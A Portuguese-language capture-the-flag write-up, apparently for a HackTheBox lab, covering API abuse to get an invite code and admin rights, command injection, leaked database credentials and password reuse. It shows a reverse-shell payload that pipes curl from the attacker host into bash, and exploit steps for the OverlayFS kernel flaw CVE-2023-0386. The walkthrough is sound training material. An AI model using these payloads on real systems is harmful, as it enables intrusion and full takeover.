> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md). # Writeup do HackTheBox TwoMillion Writeup da máquina Easy Linux TwoMillion do HackTheBox cobrindo abuso da API para gerar um código de convite válido, abuso da API para elevar nosso privilégio a administrador, injeção de comando por design ruim {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Abusando da API para gerar um código de convite válido * Abusando da API para elevar nosso privilégio a administrador * Injeção de comando via funcionalidade de API mal projetada * Vazamento de Informações * Escalonamento de Privilégios via Exploração do Kernel (CVE-2023-0386) - Vulnerabilidade do OverlayFS {% endhint %} **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

**Descoberta de Portas Abertas com Nmap:** Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.221 -oG allPorts ```

**Varredura de versão das portas com Nmap:** Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted": ```bash nmap -sCV -p22,80 2million.htb-oN targeted ```

## Porta 80 - HTTP

#### Descoberta de recursos com Gobuster ```bash gobuster dir -u http://2million.htb/ / -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt / -t 100 -r --exclude-length 1674 ```

#### Descoberta do `inviteapi.min.js` arquivo Este arquivo JavaScript está fortemente ofuscado usando a clássica `eval(function(p,a,c,k,e,d){...})` técnica. Após a deofuscação, aparecem duas funções interessantes: * `verifyInviteCode(code)`: envia um código de convite para `/api/v1/invite/verify` * `makeInviteCode()`: faz uma requisição para `/api/v1/invite/how/to/generate`

## Explorando a API – Gerando um código de convite #### Requisição inicial: ```bash curl -X POST / -H "Content-Type: application/json" / http://2million.htb/api/v1/invite/how/to/generate ``` Resposta > {"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr","enctype":"ROT13"},"hint":"Os dados estão criptografados ... Provavelmente devemos verificar o tipo de criptografia para descriptografá-los..."}# #### Descriptografia ROT13 → nova URL: {% embed url="" %}

Para gerar o código de convite, faça uma requisição POST para /api/v1/invite/generate #### Requisição: ```bash curl -X POST / -H "Content-Type: application/json" / http://amillion.htb/api/v1/invite/generate ```

Resposta (base64): * V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM= Decodificação: ```bash echo "V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM=" | base64 -d; echo ``` WUOIF-LK68X-HUGTW-DOX1S Usamos este código para criar uma conta no site.

## Exploração da API do Hack The Box

#### Observação da API Ao visitar `/api`, podemos observar as rotas disponíveis.

#### Tentativa de gerar configuração de VPN (falha inicial) ```bash curl -v -X POST / -H "Content-Type: application/json" / --cookie "session=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate ``` Resposta: Não permitido.

#### Modificando nossa função por meio da API

Testamos alterar as configurações do usuário com a rota: ```bash curl -X PUT / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/settings/update ``` > {"status":"danger","message":"Parâmetro ausente: email"} ```bash curl -X PUT / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com"}' ``` > {"status":"danger","message":"Parâmetro ausente: is/\_admin"} ```bash curl -X PUT / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com", "is_admin": 1}' ``` > Resposta: > > {"id":15,"username":"Jordan","is/\_admin":1}

#### Verificando nosso status de administrador ```bash curl -s -X GET / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/auth | jq { "message": true } ```

### RCE via Injeção de Comando ```bash curl -s -X POST / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan@jordan.com"}' ```

Tentativa de injetar comando no campo `nome de usuário`: ```bash curl -s -X POST / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}' ```

#### Shell reverso 1. **Servidor de arquivos** ```bash echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html python3 -m http.server 80 ``` 2. **Netcat escutando** ```bash nc -nvlp 443 ``` 3. **Enviando o comando** ```bash curl -s -X POST / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}' ``` Conseguimos uma shell reversa

## Escalada de privilégios #### Descoberta de arquivos sensíveis Ao pesquisar os arquivos acessíveis a partir do nosso shell, descobrimos um arquivo oculto `.env` arquivo contendo credenciais para o banco de dados: ```bash DATABASE=htb_prod USERNAME=admin PASSWORD=SuperDuperPass123 ```

Também notamos a presença de um segundo usuário chamado `admin`.

#### Reutilização de senha Ao testar as credenciais descobertas, vemos que o usuário do sistema `admin` está usando a **mesma senha** como a senha do banco de dados. ### Flag user.txt :)

Essa má prática nos permite obter um **Conexão SSH**: #### E-mail do sistema

Ao conectar, uma mensagem nos informa sobre a presença de um **novo e-mail**. Ao lê-lo, obtemos informações cruciais: > Olá, admin, > > Eu sei que você está trabalhando o mais rápido que pode para fazer a migração do banco de dados. Enquanto estamos parcialmente fora do ar, você também pode atualizar o SO do nosso host web? Já houve algumas CVEs sérias do kernel Linux neste ano. Aquela em OverlayFS / FUSE parece perigosa. Não podemos ser comprometidos por isso.

Essa mensagem nos coloca na pista de uma **vulnerabilidade conhecida no OverlayFS**:/ **CVE-2023-0386** – uma vulnerabilidade de escalonamento local de privilégios no kernel Linux. ## Exploração da CVE-2023-0386 - Escalonamento de Privilégios no OverlayFS > O OverlayFS permite sobrepor sistemas de arquivos. Em algumas versões do kernel Linux, o gerenciamento inadequado de capacidade permite que um usuário sem privilégios execute código com **privilégios de root**. {% embed url="" %} **Passos de operação** 1. **Clone o exploit** a partir da nossa máquina local: ```bash git clone https://github.com/puckiestyle/CVE-2023-0386 cd CVE-2023-0386 make all ``` 2. **Transfira os arquivos compilados** para a máquina-alvo (`scp`, `python -m http.server`, etc.).

2. **Na máquina-alvo**, execute em **dois terminais**: * Terminal A : ```bash ./fuse ./ovlcap/lower ./gc ``` * Terminal B : ```bash ./exp ``` Se tudo correr bem, obtemos um **root** shell

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.